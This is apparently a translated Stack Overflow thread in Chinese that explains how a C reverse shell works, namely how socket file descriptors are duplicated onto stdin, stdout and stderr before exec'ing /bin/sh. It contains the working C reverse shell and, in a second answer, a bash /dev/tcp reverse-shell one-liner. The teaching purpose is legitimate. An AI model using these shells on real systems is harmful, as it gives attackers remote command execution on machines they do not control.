2

我遇到了这个用 c 编写的反向 shell 代码。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}

我想了解它,所以我告诉自己有关文件描述符的信息,因为使用了 dup2。现在的问题是我不明白为什么。

socket 的手册页让我假设,stdin、stdout 和 stderr 正在被套接字取代。

[...] 成功调用返回的文件描述符将是当前未为进程打开的编号最小的文件描述符。

这个假设是真的吗?如果是,为什么要重置默认流?是因为下面的 execl("/bin/sh", NULL) 行,正如这个线程所暗示的那样?

4

2 回答 2

4

文件描述符

每个文件、套接字、管道等......在您的进程中由一个称为文件描述符的数字唯一标识。
如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

每个文件的前 3 个文件描述符都有特殊的作用:

FD C 常数
0 STDIN_FILENO
1 STDOUT_FILENO
2 STDERR_FILENO

如果您愿意,您可以随时通过查询来查看文件描述符(以及它们所指的内容)/proc,例如:

ls -l /proc/<pid of your process>/fd

execve 及其朋友

execve用参数指定的新进程替换当前进程。
您的进程打开的所有文件描述符将保持打开状态¹,新进程可以使用它们。

¹ 标记为的除外close-on-exec

你的程序做什么

在您的程序启动后,您的文件描述符可能如下所示:

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1

(只是普通的标准输入、标准输出、标准错误,连接到普通终端)

之后你分配一个套接字: int sock = socket(AF_INET, SOCK_STREAM, 0);

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

然后你连接套接字并到达 dup2 的。 dup2克隆一个文件描述符并 - 不像dup- 为其分配一个特定的文件描述符编号(如果该 fd 已在使用中,它将首先关闭)

所以在dup2(sock, STDIN_FILENO);你的fd之后看起来像这样:

0 -> [socket:12345]
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

所以在execlfd之前是:

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

然后你的进程执行到/bin/sh,用 shell 替换当前进程。

所以现在你有一个shell,它的输入和输出连接到你创建的套接字,有效地允许套接字另一端的程序发送任意shell命令,这些命令将由套接字执行/bin/sh并通过套接字返回输出。

正如@JonathanLeffler 在评论中指出的那样,fd 3 可以在执行之前关闭,因为它不是必需的。

为什么不使用dup代替dup2

使用dup,就像您引用的那样,将为您提供流程中可用的最低可用 fd。

因此,可以执行以下操作:

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup(sock);
dup(sock);
dup(sock);

关闭将关闭 fd 0-2:

3 -> [socket:12345]

并且 dup 会将 fd 3 复制到 0-2 (你总是得到最低的可用数字,即使那些是标准输入、标准输出或标准错误)

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

但是,如果您有其他线程正在创建 fd,这可能会出错(例如,另一个线程可能只是在您关闭 stdin 后创建一个新 fd,因此它得到 fd 0,而您的 dup() 稍后将得到 4)。

dup2()就是问题所在:精确分配特定的 fd(在本例中为 stdin、stdout、stderr)。

dup2() 系统调用执行与 dup() 相同的任务,但它不使用编号最小的未使用文件描述符,而是使用 newfd 中指定的文件描述符编号。换句话说,文件描述符 newfd 被调整,以便它现在引用与 oldfd 相同的打开文件描述。

还有dup3, 除了dup2可以做什么之外,它还允许您指定标志,例如O_CLOEXEC,在执行时会自动关闭 fd。

于 2021-10-26T18:38:53.203 回答
0

使用 bash 的最简单方法

# $1 ip address
# $2 remote port 
/bin/bash -i >& /dev/tcp/$1/$2 0>&1
于 2021-12-31T00:27:43.170 回答